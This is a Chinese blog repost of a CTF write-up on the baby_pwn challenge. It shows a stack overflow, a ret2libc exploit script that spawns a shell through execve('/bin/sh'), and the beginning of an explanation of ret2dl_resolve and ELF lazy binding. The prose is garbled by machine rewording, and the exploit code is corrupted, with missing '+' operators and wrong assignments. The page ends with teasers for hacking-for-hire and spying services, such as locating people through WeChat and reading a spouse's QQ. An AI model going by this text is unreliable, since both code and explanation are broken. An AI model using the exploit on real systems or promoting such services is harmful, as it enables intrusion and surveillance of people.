高級ROP:Ret2dl_resolve技术性详细说明

访客3年前黑客资讯1123

简述:一道简易的pwn题引出来的一种结构比较复杂ROP *** —ret2dl_resolve。文中将从基本原理的视角,分析ELF文档及其其延迟时间关联的基本原理,深层次分析这一种技术性。

题目来源->

19年全国高校上信息安全性比赛:baby_pwn

题型剖析

查看ELF的版本,发觉是32位系统的

$file pwn

把程序流程丢进IDA剖析。发觉有比较突出的栈溢出。

搭建 offset=”A”*2c就能得到彻底的栈操纵。

一开始见到那么构造那么简易的题型,姓名还叫baby_pwn,认为遇到了新手入门题(眼白)

决策应用Ret2LIbc立即拿shell

当地认证:(ASLR is off)

----------------------exp1.py----------------------------

from pwn import *

#p=remote("da61f2425ce71e72c1ef02104c3bfb69.kr-lab.com",33865)

p=process('')

libc=ELF('')

#gdb.attach(p)

#local

libc_base=0xf7dfd000

system_off=libc.symbols['system']

execve_off=libc.symbols['execve']

shell_off=next(libc.search('/bin/sh'))

execve_addr=libc_base execve_off

shell_address=libc_base shell_off

payload="A"*(0x30-4)

payload =p32(execve_addr)

payload =p32(0)

payload =p32(shell_address)

payload =p32(0)

payload =p32(0)

p=process('')

p.sendline(payload)

p.interactive()

当地取得了shell,可是远程控制外溢失败了。

可是也是在意料之中,国赛为什么会要我那么非常容易取得shell呢。

小结发觉,难题取决于->

1.当地调节是了解libc版本,虚拟服务器不清楚libc版本

2.即便 了解libc版本,能测算出execve和已经知道函数的偏位, *** 服务器开了ASLR务必用rop才可以测算出基详细地址。可是当地编码中却不会有write/puts那样的函数,却没有办法结构ROP链。

一开始唯一的念头是根据工程爆破法,强制工程爆破libc的基详细地址。(在已经知道libc版本状况下比较好完成。)可是最终都没有工程爆破出去。#之后巨头说成工程爆破syscall的部位,有时间去认证。

之后历经巨头指导,这类沒有结构ROP连接的基本函数,尽管沒有write/put函数来结构rop,可是可以根据一种称为ret2dl-resolve的技术性,来结构rop。遂去科学研究。

Ret2dl_resolve分析

Ret2dl_resolve实质上也是ROP,只不过是应用的是更为更底层的技术性:

ELF在动态链接载入的全过程中有一种延迟时间关联的体制,程序流程根据函数dl_runtime_resolve (link_map_obj, reloc_index)来开展对函数开展重精准定位。尽管重精准定位全过程很繁杂,可是最后還是借助符号表来明确导进函数,假如能在这个全过程中危害符号表的载入,就会有很有可能将随意函数重精准定位为大家必须的函数。

在学习培训这类运用技术性以前,必须把握以下几个方面,

1.务必要对ELF有一定的掌握。不然会难以了解。

2.基础ROP技术性,stack povit操纵栈帧 *** 。

把握好之上的基本,就要大家现在开始。

了解ELF

在这儿先分享一本书《程序员的自我修养》,里边对ELF和PE及其动态链接都是有十分深层次地分析。

本一些沒有细讲的一部分都能在这本书里找到答案。

更先大家必须把握一些指令,便捷学习培训ELF构造

$readelf -h -r pwn #-h查看头信息 -r查看重精准定位表

$objdump -s -d -h pwn #-s查看十六进制信息 -d 查看代码段反编译信息 -h查看段信息

剖析pwn文档

观查一下文件头:#$readelf -h pwn

开始的魔数(Magic)及其一些基础文档信息就先不要看。

首先看好多个与此次系统漏洞有关的数据信息。

由于段是大家此次科学研究的关键。

因此 先寻找Start of section headers部位,这一部位纪录了段表间距文件头偏位6320字节数。

节头尺寸为40字节数,一般相当于sizeof(Elf32_Shdr)

结头总数31,相当于ELF有着的段的总数。

了解延迟时间关联(PLT)

使我们在程序调试的情况下了解这一全过程。

$ objdump -d pwn | grep read #查看plt段中read的详细地址

08048390 read@plt>:

8048541: e8 4a fe ff ff call 8048390 read@plt>

gdb下中断点 b *0x8048390

之一次启用read函数:

进到read.plt,发觉自动跳转到ds:0x804a00c->事实上便是Got表中储放read函数的详细地址

$ objdump -R pwn #查看Got表

0804a00c R_386_JUMP_SLOT

一般来说GOT表详细地址储存的便是函数的详细地址,

可是为何之一次启用函数,程序流程却自动跳转到0x8048396呢?

查看一下GOT表的运行内存就很清晰了,这时的GOT表中沒有储放read的真正详细地址。

只是将程序流程调回去。(典型性的推卸责任?)

$ x/10xw 0x804a00c

0x804a00c: 0x08048396 0xf7ead270 0xf7e15540 0xf7e5d36

事实上当程序流程之一次启用这一函数的情况下,GOT表中都还没储放函数的详细地址。必须返plt回运用其开展重精准定位。

相关文章

豪瀚N系列NEW出新境界定位轻奢 全线出击

每日要闻最近几天,如果要问商用车界最大的新品上市新闻是什么?那就肯定属于中国重汽全新一代豪瀚N系列重卡上市了! 8月22日,中国重汽全新一代豪瀚N系列在山东临沂上市,并现场公布价格。走进豪瀚N系列上...

自主创业成功的关键是什么?天时地利人和!

愈来愈多的人挑选了自己创业这条道路,也许是由于理想,也许是由于生活。可是自己创业是有风险性的,大家怎样尽量的防范风险,获得成功呢?这要从天时地利谈起。众所众所周知,天时地利基本上是全部事儿取得成功的重...

疫情下日本观光胜地人金华交通违章处理潮满满 游客边走边吃引发

  中新网2月7日电 据“中央社”报道,日本东京都与邻近的神奈川县等地,目前仍笼罩在新冠疫情下。但知名观光胜地镰仓6日仍迎来满满人潮,甚至观光客边走边吃,让商店街相关人士忧心感染新冠的风险。   据...

找黑客能消吸毒案底(有吸毒案底能出国吗)

可以出国,有吸毒前科不属于禁止出国的条件。有以下情形之一的,禁止出国:(一)未持有效出境入境证件或者拒绝、逃避。 有吸毒史也是可以出国的。《中华人民共和国出境入境管理法》第十二条规定,中国公民有下列情...

怎样查看我老婆QQ信息

. 很多习惯是需要从小开始培养的,良好的习惯是受益终生的。宝宝的注意力对于以后的工作是非常重要的。那么该如何在生活中注意培养宝宝的注意力呢。下面小编就来和大家说一说。 为什么要关注孩子的注意力发展...

黑客定位微信要多少钱 黑客技术通过微信看位置

前段时间,我的生活经历了一个不小的低潮 我觉得我越努力,就越沮丧。每天我都觉得肚子里有很多怨气,很不安 在承认了自己的脆弱之后,他突然得到了很多的认可和关注 有人告诉我,“你做得很好。没必要难过 有人...